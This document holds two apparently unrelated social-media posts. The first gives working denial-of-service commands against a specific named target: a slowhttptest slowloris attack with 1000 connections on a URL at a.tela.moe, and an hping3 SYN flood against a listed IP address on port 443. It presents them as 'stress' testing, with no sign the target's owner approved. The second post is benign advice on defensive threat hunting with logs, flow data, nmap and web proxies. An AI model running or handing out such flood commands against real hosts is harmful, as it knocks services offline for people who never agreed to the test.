@delta
if You want to stress at L7:
slowhttptest -X -u 'https://a.tela.moe/users/delta' -c 1000

Also at L4:
hping3 --flood -p 443 -S 167.235.226.205

#slowhttp #slowloris #hping3

@crashoverrid3
Threat Hunting is not a primary part of our job. Our team is very small so Threat Hunting is a "when you have time" exercise. Most of time, we have automated tools that say something is a threat and then we prove it using other, manual tools and techniques.
With that said, here are my tips.
First and foremost, knowing what "normal" is for wherever it is you are hunting. You have to know what it should look like before you can detect an anomaly.
Second, access to time-synched security and application logs through a log aggregator like #Splunk. Careful log analysis can find a needle in a stack of needles if you have enough corroborating information.
I generally write quick scripts in #PowerShell or #bash and I have a co-worker to does the same with #Python.
For web apps, something like #BurpSuite or OWASP ZAP that can be used as a proxy.
To detect things on the network, flow data analysis is always good. Top and bottom talkers.
Traffic on unusual ports
For threats that would be using some sort of open port, I start with #nmap making use of its huge library of scripts and it's user friendly performance options. As a bonus, you can dump the results to parseable output files for use by other tools. I'd love to say I use #scapy and #hping3 but honestly nmap is normally good enough for what I do.
I'll check #metasploit to see if they have anything relevant to what I'm searching for, but often they don't.
And we have multiple agents on our endpoints that can check the file system for specific file hash values or we can have our admin team run scripts from their management tools to reach out and touch every system to look for a file.